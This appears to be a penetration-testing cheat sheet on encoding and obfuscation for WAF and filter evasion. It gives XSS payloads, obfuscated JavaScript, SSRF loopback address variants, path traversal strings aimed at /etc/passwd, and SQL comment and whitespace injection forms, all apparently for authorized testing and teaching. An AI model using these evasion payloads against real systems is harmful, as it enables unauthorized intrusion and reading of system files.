Web

Encoding & Obfuscation

Encoding and obfuscation for WAF bypass and filter evasion: URL encoding, double encoding, HTML entities, Unicode/UTF-8 overlong, Base64, JS obfuscation, hex/octal IP notation, case variation, and multi-layer chains.

Why Encoding Matters

Filters and WAFs inspect the raw input string. If you encode your payload, the filter may not match it — but the backend parser decodes and executes it. The key is finding a mismatch between what the filter inspects and what the parser processes.


URL Encoding

PlainURL encodedDouble encoded
<%3C%253C
>%3E%253E
'%27%2527
"%22%2522
/%2F%252F
\%5C%255C
space%20 or +%2520
&%26%2526
#%23%2523
.%2E%252E

Use double encoding when the WAF decodes once before inspecting but the server decodes again before executing.


HTML Entity Encoding

Useful when input is reflected in HTML context:

< → &lt;  or  &#60;  or  &#x3C;  or  &#x0003C;
> → &gt;  or  &#62;  or  &#x3E;
' → &#39;  or  &#x27;
" → &quot; or &#34;  or  &#x22;
/ → &#47;  or  &#x2F;

In JavaScript event handlers, HTML entities are decoded:

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;1&#41;">

Unicode / UTF-8 Obfuscation

Overlong UTF-8 encoding

Some parsers accept non-shortest form UTF-8 encodings. For / (0x2F):

Standard:  %2F
Overlong:  %C0%AF   (invalid UTF-8 but accepted by some parsers)
           %E0%80%AF

Unicode fullwidth characters

< → <  (U+FF1C, fullwidth less-than)
> → >  (U+FF1E)
' → '  (U+FF07)
/ → /  (U+FF0F)

Some WAFs/filters only check ASCII ranges.

Unicode escape in JavaScript

<script>  →  <script>
alert(1)       →  alert(1)
alert()   →  alert()

IP Address Obfuscation

For SSRF and open redirect filter bypass:

127.0.0.1
2130706433          (decimal)
0x7f000001          (hex)
0177.0.0.1          (octal)
[::1]               (IPv6 loopback)
[::ffff:127.0.0.1]  (IPv4-mapped IPv6)
127.1               (short notation)
127.000.000.001     (leading zeros)
0:0:0:0:0:ffff:127.0.0.1  (full IPv6)

Base64 Encoding

In injection contexts where eval or atob is available:

eval(atob('YWxlcnQoMSk='))   // alert(1)

Or in SQL (MySQL):

SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==');

Hex Encoding

In SQL contexts:

SELECT 0x61646d696e;     -- "admin" in hex
SELECT CHAR(65,68,77,73,78);  -- MySQL CHAR()

For file paths:

/etc/passwd → /etc/%70asswd → /etc/\x70asswd

Case Variation

SELECT → SeLeCt → sElEcT
UNION → uNiOn
SCRIPT → ScRiPt
<sCrIpT>alert(1)</sCrIpT>

SQL is case-insensitive. HTML tags are case-insensitive in most browsers.


JavaScript Obfuscation

// JSFuck — uses only []()!+
// alert(1) in JSFuck:
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+ ...]

// String.fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)  // alert(1)
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

// Template literals
`${'ale'+'rt'}(1)`

// Bracket notation
window['ale'+'rt'](1)
window['\x61\x6c\x65\x72\x74'](1)

// setTimeout string execution
setTimeout('ale'+'rt(1)',0)

Multi-Layer Encoding Chains

Combine encodings for deeper evasion. Example for path traversal:

../../../etc/passwd
..\..\..\etc\passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd       (URL encoded)
%252e%252e%252f%252e%252e%252fetc%252fpasswd   (double URL encoded)
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd        (overlong UTF-8)
%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd       (Windows backslash)

Whitespace / Comment Injection (SQL)

SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users     -- tabs
SELECT%0ausername%0afrom%0ausers     -- newlines
SELECT%0d%0ausername%0d%0afrom%0d%0ausers
/*!SELECT*/ username /*!FROM*/ users  -- MySQL conditional comments

Burp Suite workflow

  1. Decoder — manually encode/decode URL, HTML, Base64, hex.
  2. Hackvertor (BApp) — chain multiple encodings in a single tag: <@urlencode><@base64>alert(1)<@/base64><@/urlencode>.
  3. Intruder — fuzz with encoded variants of a known payload from a wordlist.
  4. Scanner — active scan applies common encoding evasions automatically.
  5. Extensions: Bypass WAF (BApp) — applies common encoding mutations to all scanner payloads.